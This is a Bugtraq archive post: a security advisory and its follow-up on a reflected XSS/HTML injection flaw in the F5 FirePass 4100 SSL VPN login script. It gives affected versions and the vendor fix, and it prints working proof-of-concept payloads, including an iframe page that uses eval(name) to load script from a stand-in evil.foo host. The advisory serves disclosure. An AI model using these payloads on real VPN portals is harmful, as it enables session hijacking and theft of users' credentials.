Bugtraq mailing list archives

PR07-15: Cross-site Scripting (XSS) / HTML injection on F5 FirePass 4100 SSL VPN 'my.logon.php3' server-side script

From: "Ricardo Martins - Chief Security Officers" <ricardo.martins () cso pt>
Date: Fri, 23 May 2008 15:03:15 +0100

Update:

To exploit this in both firefox and IE requires an extra char ("=") in the end.


Using the same PoC URL we get:

https://target.tld/my.logon.php3?";></script><textarea>HTML_injection_test</textarea><!--=


Client environment:

firefox 2.0.0.11 and IE 6.0.2900.2180


Ricardo Martins, CISA
Security Consultant 
Mobile. +351 933 478 679

Chief Security Officers, S.A.
Ed. Infante D. Henrique
Rua João Chagas, 53 - 1º esq.
Cruz Quebrada
1495-764 Dafundo Portugal

Tel. +351 210 111 616 :: Fax. +351 210 111 618 :: email. info () cso pt :: web. http://www.cso.pt


__________________________________________________________________

On Fri, Nov 30, 2007 at 12:50 PM, <research () procheckup com> wrote:
PR07-15: Cross-site Scripting (XSS) / HTML injection on F5 FirePass 4100 SSL VPN 'my.logon.php3' server-side script


Date Found: 19th June 2007


Successfully tested on: version 5.5.2


F5 Networks has confirmed the following versions to be vulnerable:


FirePass versions 5.4.1 - 5.5.2

FirePass versions 6.0 - 6.0.1



Description:


F5 Networks FirePass 4100 SSL VPN is vulnerable to XSS within the "my.logon.php3" server-side script.


No authentication is required to exploit this vulnerability.



Consequences:


An attacker may be able to cause execution of malicious scripting code in the browser of a user who visits a 
specially-crafted URL to an F5 Firepass device, or visits a malicious page that makes a request to such URL. Such code 
would run within the security context of the target domain.


This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential 
information (i.e. admin session IDs) to unauthorised third parties.



Proof of concept (PoC) URL:


https://target.tld/my.logon.php3?";></script><textarea>HTML_injection_test</textarea><!--


The payload in the example is


"></script><textarea>HTML_injection_test</textarea><!--


which injects a 'textarea' box



The following PoC HTML page would run JavaScript without any restrictions from a third-party file 
('http://www.evil.foo/b&apos; in this case):


<html>


<iframe src="https://target.tld/my.logon.php3?%22%3E%3C/script%3E%3Cscript%3Eeval%28name%29%3C/script%3E%3C%21--"; 
width="0%" height="0%" 
name="xss=document.body.appendChild(document.createElement('script'));xss.setAttribute('src','http://www.evil.foo/b&apos;)"></iframe>


</html>




Successfully tested on:


Server environment:


F5 FirePass 4100


Client environment:


Microsoft Internet Explorer 7.0.5730.11



Severity: Medium/High



Author: Richard Brain of ProCheckUp Ltd (www.procheckup.com)


With thanks to Petko D. Petkov for suggesting the eval(name) technique.



References:


http://www.procheckup.com/Vulnerability_2007.php

http://www.f5.com/products/FirePass/



ProCheckUp thanks F5 Networks for working with us.



Fix:


F5 Networks has issued SOL7923:


https://support.f5.com/kb/en-us/solutions/public/7000/900/SOL7923.html?sr=1

Current thread:

PR07-15: Cross-site Scripting (XSS) / HTML injection on F5 FirePass 4100 SSL VPN 'my.logon.php3' server-side script Ricardo Martins - Chief Security Officers (May 23)